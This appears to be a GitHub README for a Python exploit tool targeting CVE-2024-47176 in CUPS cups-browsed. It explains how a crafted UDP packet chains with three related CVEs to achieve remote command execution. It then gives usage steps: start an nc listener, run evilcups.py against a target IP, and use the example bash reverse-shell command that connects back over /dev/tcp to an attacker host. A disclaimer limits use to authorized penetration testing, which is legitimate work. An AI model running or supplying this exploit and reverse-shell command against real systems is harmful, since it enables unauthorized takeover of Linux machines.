gumerzzzindo/cve-2024-47176Python exploit for CVE-2024-47176 achieving remote command execution in CUPS cups-browsed via crafted UDP packets. Includes reverse shell payload delivery for authorized penetration testing.
For educational and authorized penetration testing purposes only.
CUPS (Common UNIX Printing System) is an open-source printing system that manages networked printers. CVE-2024-47176 targets the daemon, which binds to and blindly trusts packets from any source.
cups-browsedINADDR_ANY:631By crafting a malicious UDP packet that triggers a Get-Printer-Attributes IPP request, an attacker can cause cups-browsed to connect to an attacker-controlled server — and when combined with the vulnerabilities below, achieve arbitrary remote command execution.
| Component | Condition |
|---|---|
cups-browsed | Listening on UDP 631 (default) |
| CUPS < 2.4.11 | Unpatched versions |
| Linux systems with CUPS exposed | Port 631 reachable from attacker |
| CVE | Description |
|---|---|
| CVE-2024-47176 | cups-browsed trusts any UDP packet on port 631 |
| CVE-2024-47076 | libcupsfilters doesn't sanitize IPP attributes |
| CVE-2024-47175 | libppd injects unsanitized data into PPD files |
| CVE-2024-47177 | cups-filters allows command execution via PPD |
nmap (optional, for recon)1. Clone the repository:
git clone https://github.com/gumerzzzindo/cve-2024-47176.git
cd cve-2024-47176
2. Install the required Python dependency:
pip install ippserver
3. Start a listener on your machine:
nc -lvnp <PORT>
./evilcups.py <ATTACKER_IP> <TARGET_IP> "<COMMAND>"
Example — reverse shell:
./evilcups.py 10.10.10.10 10.10.11.40 "bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"
After running the exploit, trigger a print job on the target (or wait for an automatic check) to execute the payload.
This repository is intended solely for educational purposes and authorized security research. Using this tool against systems you do not own or have explicit written permission to test is illegal and unethical